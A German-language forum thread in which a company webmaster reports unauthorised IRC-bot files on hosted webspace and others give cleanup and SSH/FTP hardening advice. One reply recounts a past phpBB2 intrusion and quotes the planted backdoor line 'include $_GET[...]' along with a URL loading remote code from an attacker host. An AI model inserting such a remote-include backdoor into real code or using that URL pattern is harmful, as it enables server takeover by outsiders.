Website gehackt

[timoken]

ich habe gerade mit Schrecken festgestellt, dass auf dem Webspace unserer Firma, der bei NTT/Verio liegt, Dateien liegen, die da definitiv nicht hingehören und nicht auf legalem Weg abgelegt wurden.

wenn ich mir via FTP deren eigentümer und zugriffsrechte anzeigen lasse, ist der user weder der ftp- noch der www-user sondern "tgherf" und die permissions stehen auf -rw-r--r-- oder -rwxr-xr-x. anderen zugriff (ssh o.ä.) haben wir aber auf den webspace garnicht. darum denke ich nicht, dass jemand an eines unserer passwörter gekommen ist. kann es sein, dass an höherer stelle verio gehackt wurde?

die dateien sehen aus, als hätte jemand auf unserem webspace einen irc-chat-bot installiert/compiliert ("makefile"- und ".h"-dateien etc.).

leider hat verio nur geschäftszeiten bis 17 uhr *grummel*. hat irgendwer tipps, was ich am besten tu? kann die schuld vielleicht doch bei uns liegen?

 

[ThaHammer]

Erstmal Passwörter ändern. .htaccess einschalten, alles was Du halt ändern kannst. Eventuell alles neu aufspielen. Zugriffsrechte der Dateien ändern. Sollte gehen wenn Du einen Adminaccount für Deinen Server hast.

 

[r2k]

Wenn ich das richtig verstehe ist es ein gemieteter Webspace.

Wenn ja, Provider kontaktieren!

Wenn es dein eigener Server ist:
Neu installieren! evt. sind gepachte Versionen und Backdoors installiert.

lg
Marco

 

[below]

Das finde ich aber bedenklich, dass der Provider da keinen Notfallsupport hat.

Hast Du einen Shell account? Dann schau mal mit top nach, was da für prozesse laufen

Alex

 

[oneOeight]

wenn ich mir via FTP deren eigentümer und zugriffsrechte anzeigen lasse, ist der user weder der ftp- noch der www-user sondern "tgherf" und die permissions stehen auf -rw-r--r-- oder -rwxr-xr-x. anderen zugriff (ssh o.ä.) haben wir aber auf den webspace garnicht. darum denke ich nicht, dass jemand an eines unserer passwörter gekommen ist. kann es sein, dass an höherer stelle verio gehackt wurde?

so was ist ohne zugriff auf logs bzw die login daten schwer zu sagen.
man kann ohne weiteres eine php-shell per ftp hochladen und dann shell zugriff haben, falls das in php nicht gesperrt ist...
guck mal nach php dateien mit shell im namen...

kann die schuld vielleicht doch bei uns liegen?

passwörter kann man gut raten, vor allem wenn die passwörter einfach sind

 

[below]

ftp übermittelt die Passwörter auch nicht besonders stark verschlüsselt, wenn ich mich nicht irre

Auf unseren Servern geht deshalb nur secure ftp (sftp)

Alex

 

[xell2202]

Vielleicht ist der Angreifer ja über SSH reingekommen - mein iMac (mit SSH-Server) bekommt in letzter Zeit manchmal ein paar hundert Loginanfragen mit Usernamen wie barney, windows, web, httpd, root, admin, joe.
Mein Passwort erraten die zwar so nicht, nachdenklich macht es aber trotzdem...

 

[Trey]

ftp übermittelt die Passwörter auch nicht besonders stark verschlüsselt, wenn ich mich nicht irre
Auf unseren Servern geht deshalb nur secure ftp (sftp)
Alex

FTP überträgt Passwörter im Klartext übers Netz.

 

[below]

Vielleicht ist der Angreifer ja über SSH reingekommen - mein iMac (mit SSH-Server) bekommt in letzter Zeit manchmal ein paar hundert Loginanfragen mit Usernamen wie barney, windows, web, httpd, root, admin, joe.
Mein Passwort erraten die zwar so nicht, nachdenklich macht es aber trotzdem...

Ja, diese Brute Force Attacken machen einen nicht besonders glücklich.

Du kannst folgende Dinge tun:

- Für root den ssh Zugang ganz sperren (Authorisierte User müssen sich dann mit ihrem Usernamen einloggen und dann su'n)
- Passwortauthorisierung für ssh für ausgewählte oder alle accounts *abschalten. Z.B. kannst Du einen User mit Passwort noch zulassen, damit Du im Notfall ohne DSA/RSA Key reinkommst.

Für Rechner, die Lokal mit Tastatur oder Serialkonsole erreichbar sind habe das Passwort bei SSH ausgeschaltet.

Alex

 

[oneOeight]

ftp übermittelt die Passwörter auch nicht besonders stark verschlüsselt, wenn ich mich nicht irre

es übermittelt die unverschlüsselt, falls man nicht ftps verwendet

 

[oneOeight]

Du kannst folgende Dinge tun:

- Für root den ssh Zugang ganz sperren (Authorisierte User müssen sich dann mit ihrem Usernamen einloggen und dann su'n)
- Passwortauthorisierung für ssh für ausgewählte oder alle accounts *abschalten. Z.B. kannst Du einen User mit Passwort noch zulassen, damit Du im Notfall ohne DSA/RSA Key reinkommst.

- port auf irgendwas anderes verlegen
- denyhosts benutzen...

 

[xell2202]

Haben diese Brute-Force-Blödheiten eigentlich außer verschlechterter Performance (minimal, 1-2% CPU) und unnötigen Logfiles irgendeinen anderen negativen Effekt?

 

[timoken]

so, danke für die tipps.

ssh-zugriff ist bei unserem account nicht möglich. lediglich ftp und www. ich vermute, dass da jemand übers cms eine php-shell hochgeladen hat (habe jedoch keine solche php-datei gefunden). cms-zugriff habe ich jetzt via .htaccess zusätzlich abgesichert.

leider kann ich die blöden files nicht mal löschen weil ich weder per ftp noch per www zugriffsrechte habe. habe jetzt aber den namen des überverzeichnisses geändert. vielleicht bringts was. letztendlich löschen darf unser provider das nur, wenns schriftlich vom admin eingereicht ist und der/die ist bis montag im urlaub.

anyway: in den nächsten tagen steht providerwechsel und neuer webspace an (aus anderen gründen).

 

[Pingu]

Vielleicht ist der Angreifer ja über SSH reingekommen

Vielleicht ersteinmal richtig lesen

wenn ich mir via FTP deren eigentümer und zugriffsrechte anzeigen lasse, ist der user weder der ftp- noch der www-user sondern "tgherf" und die permissions stehen auf -rw-r--r-- oder -rwxr-xr-x. anderen zugriff (ssh o.ä.) haben wir aber auf den webspace garnicht.

@timoken
Wie bereits vorgeschlagen würde ich nach weiteren unbekannten Dateien ausschau halten (z.B. eine Shell).
Aber ansonsten: Es kann schon sein, dass der Websever über einen Nachbar-Account gecrackt wurde, wenn ich davon ausgehe dass Ihr nicht die einzigen auf dem Webserver seit.
Ich würde an Deiner Stelle auch mal schauen welche anderen Dienste auf dem Server laufen, z.B. über einen Port-Scan (siehe Netzwerdienstprogramm).
Weiterhin würde ich auch die Log-Dateien sichern und dort nachsehen, ob die Dateien gegebenfalls über den Web-Server abgerufen werden (vllt. sind es Viren die in Spam-Emails verlinkt sind).
Ganz wichtig: Denn Provider informieren und notfalls "aus dem Bett klingeln". Denn gerade wenn man "nur" Webspace mietet liegen solche Dinge in der Verantwortung des Providers.

Gruß
Pingu

 

[hns]

Ich hatte vor 2 Jahren ein trojanisches Pferd in meinem Webspace. Und zwar hatte jemand anscheinend eine Lücke in einer älteren phpBB2-Version genutzt um sich in die config.php einzuklinken. Da stand dann nur ein unauffälliges

if($_GET['qwert']) include $_GET['qwert'];

drin (so ähnlich).

Und der eigentliche Angriff lief so:

Über

www.meinewebdomain.de/phpBB2/index.php?qwert=www.boesewicht.net/file.php

wurde dann weiterer Code ins PHP eingeschleust. Den habe ich mal selbst gestartet und fand einen kompletten HTML-basierten Dateimanager für meinen Webspace vor. Incl. Upload von Dateien, Ändern von Zugriffsrechten, ausführen von Shell-Kommandos auf dem Server, Portscanner usw. (Die Webadresse wo der nachzuladende Code herkam war natürlich auch bei einem anderen unschuldigen Opfer eingeschleust worden).

Damit wollte der Angreifer dann noch weitermanipulieren, hat aber mit Suchen&Ersetzen beim Versuch in meinen Seiten einen Werbebanner unterzuschieben eines meiner selbstgestickten PHP-Skripts so zerschossen, so daß es nicht mehr funktionierte. Und das war mir dann aufgefallen. Und durchforsten des Serverlogfiles hat dann den Angriff offengelegt.

Nach Löschen der verdächtigen Zeile aus der config.php und Upgrade von phpBB2 war der Spuk vorbei.

-- hns

 

[oneOeight]

welches CMS hast denn drauf?
die haben öfters auch lücken...